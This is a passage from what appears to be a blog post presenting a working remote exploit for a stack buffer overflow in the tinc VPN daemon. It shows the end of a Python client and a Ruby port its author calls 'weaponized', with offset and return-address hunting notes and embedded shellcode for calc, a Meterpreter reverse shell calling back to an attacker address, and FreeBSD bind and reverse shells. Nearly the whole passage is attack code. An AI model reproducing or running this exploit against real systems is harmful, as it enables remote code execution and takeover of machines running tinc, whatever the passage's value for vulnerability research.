(data)\r\n\r\n                data = data.split(&quot; &quot;)\r\n                assert(data&#x5B;0] == &quot;2&quot;)\r\n                challenge2 = data&#x5B;1]&#x5B;0:512]\r\n                #print &quot;Got challenge: &#x5B;%s]&quot; % (challenge2)\r\n                challenge2 = binascii.unhexlify(challenge2)\r\n                assert(len(challenge2) == 256)\r\n                \r\n                self.state = &quot;challenge_reply&quot;\r\n                self.challenge_reply(challenge2)\r\n\r\n        if self.state == 'challenge_reply':\r\n            need_len = 43\r\n            if len(self.inbuffer) &gt;= need_len:\r\n                print &quot;\\n++ Receive CHALLENGE REPLY&quot;\r\n                data = self.pop_inbuffer_and_decrypt(need_len).encode(&quot;hex&quot;) #&quot;&quot;.join(map(chr, self.pop_inbuffer(need_len)))\r\n                #data = self.decrypt(data)\r\n                print &quot;Got challenge reply: &quot; + data\r\n                self.state = &quot;ack&quot;\r\n                self.ack()\r\n\r\n        if self.state == 'ack':\r\n            need_len = 12\r\n            if len(self.inbuffer) &gt;= need_len:\r\n                data = self.pop_inbuffer_and_decrypt(need_len).encode(&quot;hex&quot;) #&quot;&quot;.join(map(chr, self.pop_inbuffer(need_len)))\r\n                #data = self.decrypt(self.bf_dec_cipher, data)\r\n                print &quot;Got ack: &quot; + data\r\n                self.overflow()\r\n\r\n\r\n    def writable(self):\r\n        return ((len(self.buffer) &gt; 0) or (len(self.encryption_queue) &gt; 0))\r\n        \r\n    #def send_it(self, buffer):\r\n    #    print &quot;####SENDING BUFFER: &quot;+buffer.encode(&quot;hex&quot;)\r\n    \r\n    #def receive_it(self, buffer):\r\n    #    print &quot;####RECEIVING BUFFER: &quot;+buffer.encode(&quot;hex&quot;)\r\n\r\n    def handle_write(self):\r\n\r\n        # send data\r\n        #self.send_it(self.buffer)\r\n        sent = self.send(self.buffer)\r\n        self.buffer = self.buffer&#x5B;sent:]\r\n        print &quot;send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)&quot; % (sent, len(self.encryption_queue), len(self.buffer))\r\n\r\n        # handle encryption queue\r\n        if len(self.encryption_queue) &gt; 0:\r\n\r\n            msg = self.encryption_queue.pop(0)\r\n            print msg\r\n            self.buffer += self.bf_enc_cipher.encrypt(msg)\r\n\r\n        print &quot;encryption-queue len: %d messages&quot; % (len(self.encryption_queue))\r\n\r\n        # send data\r\n        #self.send_it(self.buffer)\r\n        sent = self.send(self.buffer)\r\n        self.buffer = self.buffer&#x5B;sent:]\r\n        print &quot;send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)&quot; % (sent, len(self.encryption_queue), len(self.buffer))\r\n\r\n    def pop_inbuffer(self, size):\r\n        data = self.inbuffer&#x5B;:size]\r\n        self.inbuffer = self.inbuffer&#x5B;size:]\r\n        return data\r\n    \r\n    def pop_inbuffer_and_decrypt(self, size):\r\n        data = self.inbuffer&#x5B;:size]\r\n        self.inbuffer = self.inbuffer&#x5B;size:]\r\n        data = self.decrypt(data)\r\n        return data\r\n\r\n    def get_line(self):\r\n        idx = self.inbuffer.index('\\n')\r\n        data = self.inbuffer&#x5B;:idx]\r\n        self.inbuffer = self.inbuffer&#x5B;idx+1:]\r\n        return data\r\n\r\n    def has_line(self):\r\n        if '\\n' in self.inbuffer:\r\n            return True\r\n        else:\r\n            return False\r\n    \r\n    def id(self):\r\n        print &quot;\\n++ Send ID&quot;\r\n        msg = &quot;0 testnode2 17.0\\n&quot;.replace(&quot;testnode2&quot;,&quot;home&quot;)\r\n        print &quot;id msg len: %d&quot; % (len(msg))\r\n        self.buffer += msg\r\n\r\n    def metakey(self):\r\n        print &quot;\\n++ Send METAKEY&quot;\r\n        msg = &quot;1 94 64 0 0 %s\\n&quot; % (self.hex_enc_key_S1)\r\n        print &quot;metakey msg len: %d&quot; % (len(msg))\r\n        self.buffer += msg\r\n\r\n    def challenge(self):\r\n        print &quot;\\n++ Send CHALLENGE&quot;\r\n        challenge = os.urandom(self.key_len)\r\n        msg = &quot;2      %s\\n&quot; % (binascii.hexlify(challenge))\r\n        self.encryption_queue.append(msg)\r\n\r\n    def challenge_reply(self, challenge2):\r\n        print &quot;\\n++ Send CHAL_REPLY&quot;\r\n        h = SHA.new()\r\n        h.update(challenge2)\r\n        msg = &quot;3      %s\\n&quot; % (h.hexdigest().upper())\r\n        self.encryption_queue.append(msg)\r\n\r\n    def ack(self):\r\n        print &quot;++ Send ACK&quot;\r\n        self.encryption_queue.append(&quot;4 %d 123 0    \\n&quot; % (TCP_PORT))\r\n\r\n    def overflow(self):\r\n        print &quot;++ Peng&quot;\r\n        buffer = self.payload #&quot;\\n&quot; + payload #--&gt; removed the \\n so we can directly jump to second value on stack\r\n        msg = &quot;17 %d\\n%s&quot; % (len(buffer), buffer)\r\n\r\n        plen = self.bfblocksize - divmod(len(msg),self.bfblocksize)&#x5B;1]\r\n        msg += 'B' * plen # append padding\r\n        self.encryption_queue.append(msg)\r\n\r\npayload = payload_winxp\r\nif target.lower() == &quot;win7&quot;:\r\n    payload = payload_win7\r\nelif target.lower() == &quot;freebsd&quot;:\r\n    payload = payload_freebsd\r\nclient = TincExploitClient(TCP_IP, TCP_PORT, server_public_key_file, client_private_key_file, payload)\r\nasyncore.loop()\r\n<\/pre>\n<p>And here we go with the Ruby version:<\/p>\n<pre class=\"brush: ruby; title: ; notranslate\" title=\"\">\r\n=begin\r\nAuthor of exploitation part (all platforms), changes to the original PoC crash for reliability, port from python to ruby, metasploit module: floyd &lt;floyd at floyd dot ch&gt;\r\nOriginal PoC Author, finding: Martin Schobert &lt;schobert@sitsec.net&gt;\r\n\r\nWindows XP&amp;7: The PoC now consists of two shellcodes, calc for XP and meterpreter for Windows 7 to 192.168.56.1:4444\r\nThat means now it's weaponized. Only tested on XP and Windows 7 with tinc-1.1pre6.\r\n\r\nUbuntu: A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because\r\nthe bug is in a fixed size (MAXSIZE) struct member variable. Therefore the size of the destination is known \r\nat compile time. gcc is introducing a call to __memcpy_chk:\r\nhttp:\/\/gcc.gnu.org\/svn\/gcc\/branches\/cilkplus\/libssp\/memcpy-chk.c\r\nmemcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print \r\n*** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 (Jun 29 2012 14:10:44) \r\nwhich can be installed from the repository. It might be exploitable for versions compiled with an older version of gcc.\r\nmemcpy_chk seems to be in gcc since 2005: \r\nhttp:\/\/gcc.gnu.org\/svn\/gcc\/branches\/cilkplus\/libssp\/memcpy-chk.c\r\nhttp:\/\/gcc.gnu.org\/git\/?p=gcc.git;a=history;f=libssp\/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088\r\n\r\nFreeBSD: Exploitable, of course other eip for pop#ret, but same eip offset, tested under FreeBSD 9.1-RELEASE #0, tested with tinc version 1.0.19\r\nfrom the ports. Manually calculated offset of a pop#ret with offset in tincd binary.\r\n\r\n&lt;original comment PoC&gt;\r\n\r\nUnweaponized proof of concept code to demonstrate a vulnerability in the\r\ntinc VPN software. This PoC was tested against tinc version 1.1-pre6 and\r\n1.0.19.\r\n\r\nhttp:\/\/www.sitsec.net\/blog\/2013\/04\/22\/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers\/\r\n\r\nAuthor: Martin Schobert &lt;schobert@sitsec.net&gt;\r\n&lt;\/original comment PoC&gt;\r\n\r\n=end\r\n\r\n\r\nrequire 'securerandom'\r\nrequire 'openssl'\r\nrequire 'digest\/sha1'\r\nrequire 'eventmachine'\r\n\r\n#\r\n# config\r\n#\r\n\r\n# host to attack\r\nTCP_IP = &quot;192.168.56.102&quot;\r\nTCP_PORT = 655\r\n\r\n# The server's public key (usually from C:\\Program Files\\tinc\\hosts\\ or \/usr\/local\/etc\/tinc\/testnet\/hosts\/),\r\n# but with the config stuff removed\r\nserver_public_key_file = &quot;rsa_key.pub&quot;\r\n\r\n# The client's private key\r\nclient_private_key_file = &quot;rsa_key.priv&quot;\r\n\r\n#target OS\r\ntarget = &quot;freebsd&quot; #winxp (calc.exe), win7 (meterpreter\/reverse_tcp lhost=192.168.56.1), freebsd (bsd\/x86\/shell_bind_tcp)\r\n\r\n\r\n\r\n\r\n#\r\n#Exploitation part WINDOWS XP and 7 (can be used to see Ubuntu __memcpy_chk)\r\n#\r\n#From original PoC\r\nlength = 1682\r\npayload_winxp = &quot;A&quot;*length\r\n#C:\\Program Files\\tinc&gt;&quot;C:\\Program Files\\Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe&quot; &quot;C:\\Program Files\\tinc\\tincd.exe -D -d 5&quot;\r\n#!mona config -set workingfolder c:\\logs\\%p\r\n#!mona pc 1682\r\n#from C:\\logs\\tincd\\pattern\r\ncyclic = &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce&quot;\r\npayload_winxp = cyclic\r\n#!mona findmsp\r\n#--&gt; EIP overwritten with normal pattern : 0x64433864 (offset 1675)\r\noffset = 1675\r\npayload_winxp = &quot;A&quot;*offset + &quot;BCDE&quot;\r\n#looks like second value on stack is pointing into our payload...\r\npayload_winxp = &quot;ABCD&quot;+&quot;E&quot;*(offset-4)+&quot;BCDE&quot;\r\n#removed \\n from &quot;\\n&quot;+payload in logic below from the original PoC\r\n#so of course now we have to adjust everything we did until now:\r\nlength = 1683\r\noffset = 1676 #original poc-offset is probably 1683 now\r\n#search for pop; ret;\r\n#!mona findwild -type instr -s &quot;pop r32#ret&quot;\r\n#--&gt; found 14739 pointers... so let's be very picky today (because we can):\r\n#!mona findwild -n -cp asciiprint -type instr -s &quot;pop r32#ret&quot;\r\n#--&gt; found 348 pointers. e.g.\r\n#0x662c4d71 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\n#0x662d3e7d : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\n#0x662d6e5e : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\n#0x662e1522 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\neip = &quot;qM,f&quot; #&quot;\\x71\\x4d\\x2c\\x66&quot;\r\n#This was just &quot;nice to look at&quot;, but maybe it would be better to find a os-independent pointer, so we could use it for all os\r\n#!mona findwild -o -type instr -s &quot;pop r32#ret&quot;\r\n#--&gt; found 4049 pointers. e.g.\r\n#0x004fbd0e : pop esi # retf | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x004a0293 : pop ecx # retf 4 | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x00467de4 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x00480990 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x0051a9c3 : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x0051a9cb : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x0041caa6 : pop eax # retn | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#eip = &quot;\\x0e\\xbd\\x4f\\x00&quot; #Nope! Access violation when reading &#x5B;FFFFFFFF]\r\n#eip = &quot;\\xe4\\x7d\\x46\\x00&quot; #Nope! Access violation when writing to &#x5B;00232B7A]\r\neip = &quot;\\xa6\\xca\\x41\\x00&quot; #works fine on XP and on Windows 7\r\npayload_winxp = &quot;\\xcc&quot;*offset+eip #cc for int3\r\n#works fine, our breakpoints get hit\r\ncalc_for_xp = &quot;\\x31\\xC9&quot;\\\r\n        &quot;\\x51&quot;\\\r\n        &quot;\\x68\\x63\\x61\\x6C\\x63&quot;\\\r\n        &quot;\\x54&quot;\\\r\n        &quot;\\xB8\\xC7\\x93\\xC2\\x77&quot;\\\r\n        &quot;\\xFF\\xD0&quot; #  this one is not really reliable, MOV EAX, msvcrt.system hard coded\r\nshellcode = calc_for_xp\r\npayload_winxp = shellcode+&quot;\\x90&quot;*(offset-shellcode.length)+eip\r\n\r\n\r\n#$ .\/msfvenom -p windows\/meterpreter\/reverse_tcp exitfunc=thread lhost=192.168.56.1 -f c\r\nmeterpreter_win7 = &quot;&quot;\\\r\n&quot;\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30&quot;\\\r\n&quot;\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff&quot;\\\r\n&quot;\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2&quot;\\\r\n&quot;\\xf0\\x52\\x57\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85&quot;\\\r\n&quot;\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\\x58\\x20\\x01\\xd3\\xe3&quot;\\\r\n&quot;\\x3c\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d&quot;\\\r\n&quot;\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58&quot;\\\r\n&quot;\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b&quot;\\\r\n&quot;\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff&quot;\\\r\n&quot;\\xe0\\x58\\x5f\\x5a\\x8b\\x12\\xeb\\x86\\x5d\\x68\\x33\\x32\\x00\\x00\\x68&quot;\\\r\n&quot;\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01&quot;\\\r\n&quot;\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x50\\x50&quot;\\\r\n&quot;\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x6a&quot;\\\r\n&quot;\\x05\\x68\\xc0\\xa8\\x38\\x01\\x68\\x02\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10&quot;\\\r\n&quot;\\x56\\x57\\x68\\x99\\xa5\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e&quot;\\\r\n&quot;\\x08\\x75\\xec\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x6a\\x00\\x6a\\x04\\x56&quot;\\\r\n&quot;\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x8b\\x36\\x6a\\x40\\x68\\x00\\x10&quot;\\\r\n&quot;\\x00\\x00\\x56\\x6a\\x00\\x68\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x93\\x53\\x6a&quot;\\\r\n&quot;\\x00\\x56\\x53\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x01\\xc3\\x29\\xc6&quot;\\\r\n&quot;\\x85\\xf6\\x75\\xec\\xc3&quot;\r\nshellcode = meterpreter_win7\r\npayload_win7 = shellcode+&quot;\\x90&quot;*(offset-shellcode.length)+eip\r\n\r\n\r\n\r\n#\r\n#Exploitation part FREEBSD\r\n#\r\n#Using the windows exploit, we see that again, our eip gets executed (same offset as windows!),\r\n#this means it's vulnerable. Used the version from ports, tinc version 1.0.19 \r\n#(built Apr 11 2013 16:50:07, protocol 17)\r\n#\r\n#Reusing: offset = 1676\r\n#Now we see that a pointer to our payload is again second on the stack. That means we need\r\n#to find an address that points to some pop r32#ret, but this time for the freebsd version.\r\n#It's not as easy as on windows, because we don't have something like mona findwild and gdb is\r\n#not even correctly showing the disassembly at eip. That's why we dumped the .text part of the\r\n#tincd binary in gdb, opened it in a hex editor and simply searched for the following bytes\/opcodes\r\n#that represent &quot;pop r32#ret&quot;:\r\n#58c3\r\n#5bc3\r\n#59c3\r\n#5ac3\r\n#5dc3\r\n#5ec3\r\n#5cc3\r\n#5fc3\r\n#We actually found a couple of 5dc3. We then calculated the correct address by using the\r\n#start of the .text section plus the offset in the dumped memory. The first couple of 5dc3\r\n#didn't work, but we found one at the following address that works very well:\r\neip = &quot;\\xBB\\xBA\\x04\\x08&quot; #eip for pop %ebp#ret for bsd --&gt; 0x0804BABB\r\n#so here we go:\r\n#.\/msfvenom -p bsd\/x86\/shell_bind_tcp -f c\r\nbind_shell_bsd = &quot;\\x31\\xc0\\x50\\x68\\xff\\x02\\x11\\x5c\\x89\\xe7\\x50\\x6a\\x01\\x6a\\x02&quot;\\\r\n&quot;\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x68\\x58\\xcd\\x80\\x89&quot;\\\r\n&quot;\\x47\\xec\\xb0\\x6a\\xcd\\x80\\xb0\\x1e\\xcd\\x80\\x50\\x50\\x6a\\x5a\\x58&quot;\\\r\n&quot;\\xcd\\x80\\xff\\x4f\\xe4\\x79\\xf6\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f&quot;\\\r\n&quot;\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x53\\x50\\xb0\\x3b\\xcd\\x80&quot;\r\n#$ .\/msfvenom -p bsd\/x86\/shell_reverse_tcp LHOST=192.168.56.1 -f c\r\nreverse = &quot;\\x68\\xc0\\xa8\\x38\\x01\\x68\\xff\\x02\\x11\\x5c\\x89\\xe7\\x31\\xc0\\x50&quot;\\\r\n&quot;\\x6a\\x01\\x6a\\x02\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x62&quot;\\\r\n&quot;\\x58\\xcd\\x80\\x50\\x6a\\x5a\\x58\\xcd\\x80\\xff\\x4f\\xe8\\x79\\xf6\\x68&quot;\\\r\n&quot;\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x53\\x50&quot;\\\r\n&quot;\\xb0\\x3b\\xcd\\x80&quot;\r\n#$ .\/msfvenom -p bsd\/x86\/exec CMD=&quot;\/usr\/bin\/touch \/tmp\/kkk&quot; -f c\r\ntouch = &quot;\\x6a\\x3b\\x58\\x99\\x52\\x68\\x2d\\x63\\x00\\x00\\x89\\xe7\\x52\\x68\\x6e&quot;\\\r\n&quot;\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\xe8\\x18\\x00\\x00&quot;\\\r\n&quot;\\x00\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x74\\x6f\\x75\\x63\\x68&quot;\\\r\n&quot;\\x20\\x2f\\x74\\x6d\\x70\\x2f\\x6b\\x6b\\x6b\\x00\\x57\\x53\\x89\\xe1\\x52&quot;\\\r\n&quot;\\x51\\x53\\x50\\xcd\\x80&quot;\r\nshellcode = touch\r\npayload_freebsd = shellcode+&quot;\\x90&quot;*(offset-shellcode.length)+eip #pwn!\r\n\r\n\r\n\r\n\r\n#\r\n#Logic, client implementation and overflow part\r\n#\r\n\r\n#NETWORK LAYER order (according to successful exploitation run monitored in wireshark):\r\n#1. SYN, SYN\/ACK, ACK - further TCP ACK's are not included\r\n#2. ID, client PSH: &quot;0 testnode2 17.0&quot;\r\n#3. ID, server PSH: &quot;0 testnode2 17.0&quot;\r\n#4. Metakey, client PSH: &quot;1 94 64 0 0 VALUE_1&quot;\r\n#5. Metakey, server PSH: &quot;1 94 64 0 0 VALUE_2&quot;\r\n#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...\r\n#7. Send Challenge to server, client PSH: 520 bytes - cdca80...\r\n#---&gt;9. Challenge Reply from server, server PSH: 43 bytes - d34d78...\r\n#---&gt;8. Challenge Reply to server, client PSH: 48 bytes - c2f415...\r\n#---&gt;11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...\r\n#---&gt;10. ACK of client, client PSH: 16 bytes - 7ffca1...\r\n#12. ACK part2 of server, server PSH: 69 bytes - e6051a...\r\n#13. attack, client PSH: payload - 9d6a94...\r\n\r\n#PROGRAM order (according to printing raw data before sending\/after receiving - threading could get in the way of print!):\r\n#1. SYN, SYN\/ACK, ACK - further TCP ACK's are not included\r\n#2. ID, client PSH: &quot;0 testnode2 17.0&quot;\r\n#3. ID, server PSH: &quot;0 testnode2 17.0&quot;\r\n#4. Metakey, client PSH: &quot;1 94 64 0 0 VALUE_1&quot;\r\n#5. Metakey, server PSH: &quot;1 94 64 0 0 VALUE_2&quot;\r\n#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...\r\n#7. Send Challenge to server, client PSH: 520 bytes - cdca80...\r\n#8. Challenge Reply to server, client PSH: 48 bytes - c2f415...\r\n#9. Challenge Reply from server, server PSH: 43 bytes - d34d78...\r\n#10. ACK of client, client PSH: 16 bytes - 7ffca1...\r\n#11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...\r\n#12. ACK part2 of server, server PSH: 69 bytes - e6051a...\r\n#13. attack, client PSH: payload - 9d6a94...\r\n\r\n#Problematic things (aka things I did wrong):\r\n#1. In some versions the server will send back plaintext and encrypted data in the same TCP packet, you should\r\n#   consider that when designing the client state handler...\r\n#2. If you port from python to ruby, don't mix up the string index and .. and ... methods. Otherwise you can run\r\n#   into a situation where you chop off one byte, but only if the network-in buffer already has one, which makes\r\n#   it randomly fail... stupid me\r\n\r\nclass TincExploitClient &lt; EventMachine::Connection\r\n  def initialize(server_file, client_file, payload)\r\n    #no need to initialize socket, eventmachine is doing it\r\n    super\r\n    @buffer = &quot;&quot;\r\n    @inbuffer = &quot;&quot;\r\n    \r\n    @payload = payload\r\n    \r\n    @encryption_queue = &#x5B;]\r\n    @decryption_queue = &quot;&quot;\r\n\r\n    @state = &quot;id&quot;\r\n    @cryptomode_in = false\r\n    \r\n    #TODO: maybe get it out of the library\r\n    @bfblocksize =  64\/8 \r\n\r\n    @client_private_key_cipher = nil\r\n    @key_len = nil\r\n\r\n    @hex_enc_key_S1 = nil\r\n    @bf_enc_cipher = nil\r\n    \r\n    self.initCiphers(server_file, client_file)\r\n    \r\n    @bf_dec_cipher = nil #gets set up when we get the server info\r\n    \r\n  end\r\n  \r\n  def initCiphers(server_file, client_file)\r\n    server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))\r\n    \r\n    # parse client private key\r\n    @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))\r\n    \r\n    @key_len = 256\r\n    \r\n    #create random key\r\n    encryptionSuccessful = false\r\n    while not encryptionSuccessful\r\n      begin\r\n        key_S1 = SecureRandom.random_bytes(@key_len)\r\n        #can happen here:\r\n        #`public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)\r\n        enc_key_S1 = server_public_key_cipher.public_encrypt(key_S1, OpenSSL::PKey::RSA::NO_PADDING)\r\n        encryptionSuccessful = true\r\n      rescue\r\n        #the while loop will take care\r\n      end\r\n    end\r\n    puts &quot;random key: &quot; + key_S1.unpack(&quot;H*&quot;)&#x5B;0]\r\n    \r\n    # encrypt rnd_key with rsa key\r\n    puts &quot;length of key_S1: %i&quot; % key_S1.length\r\n    \r\n    @hex_enc_key_S1 = enc_key_S1.unpack(&quot;H*&quot;)&#x5B;0]\r\n    puts &quot;hex_enc_key_S1: &quot;+@hex_enc_key_S1\r\n    \r\n    # setup encryption\r\n    bf_enc_key = key_S1&#x5B;240...256]\r\n    bf_enc_iv = key_S1&#x5B;232...240]\r\n    \r\n    @bf_enc_cipher = OpenSSL::Cipher::Cipher.new(&quot;BF-OFB&quot;)\r\n    @bf_enc_cipher.encrypt\r\n    @bf_enc_cipher.key = bf_enc_key\r\n    @bf_enc_cipher.iv = bf_enc_iv\r\n    \r\n    ##Looks like ruby openssl supports other lengths than multiple of 8!\r\n    #test = @bf_enc_cipher.update(&quot;A&quot;*10)\r\n    #test &lt;&lt; 